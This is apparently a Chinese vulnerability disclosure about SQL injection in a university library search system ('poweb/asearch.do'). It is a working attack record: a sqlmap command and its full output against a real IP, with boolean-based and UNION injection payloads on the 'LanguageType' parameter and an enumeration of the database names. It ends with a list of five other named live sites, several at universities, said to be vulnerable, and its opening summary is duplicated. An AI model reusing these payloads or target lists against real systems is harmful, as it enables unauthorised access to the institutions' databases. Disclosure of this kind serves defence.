### 简要描述： JSP+MSSQL，能搜到的使用该系统的网站不多，但多为大学学院使用 ### 详细说明： 注入点: http://211.68.196.67:808/poweb/asearch.do?LanguageType=0&status=showpage 参数:LanguageType ``` C:\Python27\sqlmap>sqlmap.py -u "http://211.68.196.67:808/poweb/asearch.do?Langu ageType=0&status=showpage" --dbms=mssql sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 13:37:38 [13:37:39] [INFO] testing connection to the target url [13:37:39] [INFO] testing if the url is stable, wait a few seconds [13:37:40] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to...
### 简要描述： JSP+MSSQL，能搜到的使用该系统的网站不多，但多为大学学院使用 ### 详细说明： 注入点: http://211.68.196.67:808/poweb/asearch.do?LanguageType=0&status=showpage 参数:LanguageType ``` C:\Python27\sqlmap>sqlmap.py -u "http://211.68.196.67:808/poweb/asearch.do?Langu ageType=0&status=showpage" --dbms=mssql sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 13:37:38 [13:37:39] [INFO] testing connection to the target url [13:37:39] [INFO] testing if the url is stable, wait a few seconds [13:37:40] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and pro vide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c [13:37:43] [INFO] testing if GET parameter 'LanguageType' is dynamic [13:37:43] [INFO] confirming that GET parameter 'LanguageType' is dynamic [13:37:44] [INFO] GET parameter 'LanguageType' is dynamic [13:37:44] [WARNING] reflective value(s) found and filtering out [13:37:44] [WARNING] heuristic test shows that GET parameter 'LanguageType' migh t not be injectable [13:37:44] [INFO] testing for SQL injection on GET parameter 'LanguageType' [13:37:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [13:37:49] [INFO] GET parameter 'LanguageType' is 'AND boolean-based blind - WHE RE or HAVING clause' injectable [13:37:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o r HAVING clause' [13:37:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [13:37:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [13:37:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [13:37:59] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other potential injection technique found [13:38:00] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test [13:38:04] [INFO] target url appears to have 4 columns in query [13:38:06] [INFO] GET parameter 'LanguageType' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'LanguageType' is vulnerable. Do you want to keep testing the othe rs (if any)? [y/N] n sqlmap identified the following injection points with a total of 23 HTTP(s) requ ests: --- Place: GET Parameter: LanguageType Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: LanguageType=0' AND 4718=4718 AND 'euxf'='euxf&status=showpage Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: LanguageType=0' UNION ALL SELECT NULL,CHAR(58)+CHAR(105)+CHAR(114)+ CHAR(109)+CHAR(58)+CHAR(89)+CHAR(102)+CHAR(70)+CHAR(99)+CHAR(117)+CHAR(112)+CHAR (111)+CHAR(75)+CHAR(86)+CHAR(109)+CHAR(58)+CHAR(102)+CHAR(119)+CHAR(115)+CHAR(58 ),NULL,NULL-- &status=showpage --- [13:38:13] [INFO] testing Microsoft SQL Server [13:38:13] [INFO] confirming Microsoft SQL Server [13:38:14] [INFO] the back-end DBMS is Microsoft SQL Server web application technology: JSP back-end DBMS: Microsoft SQL Server 2000 ``` ``` web application technology: JSP back-end DBMS: Microsoft SQL Server 2000 [18:36:15] [INFO] fetching database names available databases [8]: [*] Gders [*] master [*] model [*] msdb [*] Northwind [*] proone [*] pubs [*] tempdb ``` ### 漏洞证明： 简单验证了几个存在漏洞的网站： http://lib.sdwm.cn:9999/poweb/asearch.do?LanguageType=0&status=showpage http://bwss.nlic.net.cn:8080/poweb/asearch.do?LanguageType=0&status=showpage http://lib.zust.edu.cn:8080/poweb/asearch.do?LanguageType=0&status=showpage http://res.sdju.edu.cn:8000/poweb/asearch.do?LanguageType=0&status=showpage http://rom.hztsg.com:9091/poweb/asearch.do?LanguageType=0&status=showpage
